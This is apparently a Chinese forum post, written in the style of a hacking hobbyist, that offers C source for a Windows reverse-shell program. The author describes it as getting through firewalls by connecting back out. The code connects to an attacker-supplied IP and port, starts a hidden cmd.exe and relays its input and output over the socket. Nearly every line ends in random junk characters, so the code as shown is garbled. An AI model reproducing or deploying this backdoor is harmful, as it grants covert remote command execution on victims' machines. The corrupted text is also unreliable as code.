这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 .eZPp~[lAN
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/* ============================== a
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Rebound port in Windows NT iqc4O
/
By wind,2006/7 @+QYWh'
===============================*/ U4
go8
#include .If"'hMY
#include 8YT_DM5iI
\#IJ=+z
#pragma comment(lib,"wsock32.lib") Dohl,d
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void OutputShell(); S|O%h}AH;
SOCKET sClient; P@o,4\;K
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; BXKlO(7
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void main(int argc,char **argv) 3> n2
{ i`ZHjW~`
WSADATA stWsaData; [1QkcR
int nRet; [E..VesrM
SOCKADDR_IN stSaiClient,stSaiServer; 945
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if(argc != 3) JaB tX'
{ Rd;~'gbG
printf("Useage:\n\rRebound DestIP DestPort\n"); %Hl:nT2M
return; 3=G5(0
} y~#R:&d"
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WSAStartup(MAKEWORD(2,2),&stWsaData); (<g;-pZH%
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =%#$HQ=
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stSaiClient.sin_family = AF_INET; A{u\8-u
stSaiClient.sin_port = htons(0); ?*MV
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); C4X{Ps\
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) C7c|\ T
{ oto
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printf("Bind Socket Failed!\n"); zwniS6R1
return; k8t Na@H
} jmZ|b6
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stSaiServer.sin_family = AF_INET; sWpRX2{5,
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); nw]e_sm
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); \CEnOq
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) #u]_7/(</`
{ 2Xq!'NrS
printf("Connect Error!"); sQ3ayB`
return; S:B-nI
} ngH~4HyT
OutputShell(); c?3F9w#
} 19YJ`(L`x
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void OutputShell() ;29X vhS8
{ D+vl%(g
char szBuff[1024]; $M8>SLd
SECURITY_ATTRIBUTES stSecurityAttributes; \qK}(xq[
OSVERSIONINFO stOsversionInfo; vSHIl"h
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; "n2xn%t{
STARTUPINFO stStartupInfo; ?#{2?%_
char *szShell; T\$^>@
PROCESS_INFORMATION stProcessInformation; LF3GVu,
unsigned long lBytesRead; >TJKH^7n
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); |Bf:pG!
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); $/U^/2)
stSecurityAttributes.lpSecurityDescriptor = 0; VlQwVe
stSecurityAttributes.bInheritHandle = TRUE; M0" g/W
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); q.hc%s2?
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); _-yF9g"I
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); %n`iA7j$W
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Xk9r"RmiOb
stStartupInfo.wShowWindow = SW_HIDE; 77bZ
stStartupInfo.hStdInput = hReadPipe; w]P7!t
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; NtP.)
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GetVersionEx(&stOsversionInfo); Le$u$ulS
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switch(stOsversionInfo.dwPlatformId) 3~1lVU:
{ Z?j='/u>@
case 1: R.WsC bU
szShell = "command.com"; FOnA;5Aa
break; 2
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default: HZQ3Ht 3Vh
szShell = "cmd.exe"; @ 6V H%
break; -L'`d
} OTjryJ^
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); QIz N#;g
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send(sClient,szMsg,77,0); ~[/c'3+4qn
while(1) =K<I)2
{ W/F4wEODY
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); +Gwe%p Q
if(lBytesRead) CCvBE, ux
{ p(&o'{fb
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Y`_X@Q
send(sClient,szBuff,lBytesRead,0); {*r$m>HpM
} <}'B-k9
else VNEZBy"F
{ Ru\Lr=9
lBytesRead=recv(sClient,szBuff,1024,0); JX,#W!d
if(lBytesRead<=0) break; 1AkHig,
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); YM/3VD
} rOf
} 1^"aR#
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return; s{EX ;
}